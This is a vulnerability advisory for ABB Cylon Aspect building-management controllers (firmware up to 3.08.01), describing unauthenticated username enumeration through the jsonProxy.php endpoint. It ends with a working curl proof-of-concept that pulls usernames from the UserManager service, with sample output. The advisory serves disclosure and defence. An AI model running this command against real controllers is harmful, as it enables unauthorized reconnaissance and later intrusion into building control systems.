ABB Cylon Aspect 3.08.01 jsonProxy.php Username Enumeration

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ABB Cylon Aspect 3.08.01 (jsonProxy.php) Username Enumeration  
  
  
Vendor: ABB Ltd.  
Product web page: https://www.global.abb  
Affected version: NEXUS Series, MATRIX-2 Series, ASPECT-Enterprise, ASPECT-Studio  
Firmware: <=3.08.01  
  
Summary: ASPECT is an award-winning scalable building energy management  
and control solution designed to allow users seamless access to their  
building data through standard building protocols including smart devices.  
  
Desc: The jsonProxy.php endpoint on the ABB BMS/BAS controller is vulnerable  
to username enumeration. An unauthenticated attacker can interact with the  
UserManager servlet to enumerate valid usernames on the system. Since jsonProxy.php  
proxies requests to internal services without requiring authentication, attackers  
can gain unauthorized insights into valid usernames.  
  
Tested on: GNU/Linux 3.15.10 (armv7l)  
GNU/Linux 3.10.0 (x86_64)  
GNU/Linux 2.6.32 (x86_64)  
Intel(R) Atom(TM) Processor E3930 @ 1.30GHz  
Intel(R) Xeon(R) Silver 4208 CPU @ 2.10GHz  
PHP/7.3.11  
PHP/5.6.30  
PHP/5.4.16  
PHP/4.4.8  
PHP/5.3.3  
AspectFT Automation Application Server  
lighttpd/1.4.32  
lighttpd/1.4.18  
Apache/2.2.15 (CentOS)  
OpenJDK Runtime Environment (rhel-2.6.22.1.-x86_64)  
OpenJDK 64-Bit Server VM (build 24.261-b02, mixed mode)  
  
  
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic  
@zeroscience  
  
  
Advisory ID: ZSL-2024-5859  
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2024-5859.php  
  
  
21.04.2024  
  
--  
  
  
$ cat project  
  
P R O J E C T  
  
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░▒▓█▓▒░░░░░░░░▒▓██████▓▒░ ░▒▓██████▓▒░   
  
  
$ curl -s "http://192.168.73.31/jsonProxy.php?port=7226&application=UserManager" \  
> | grep -o 'selecteduser=[^"]*' \  
> | sed 's/selecteduser=//'  
  
aamuser  
guest  
`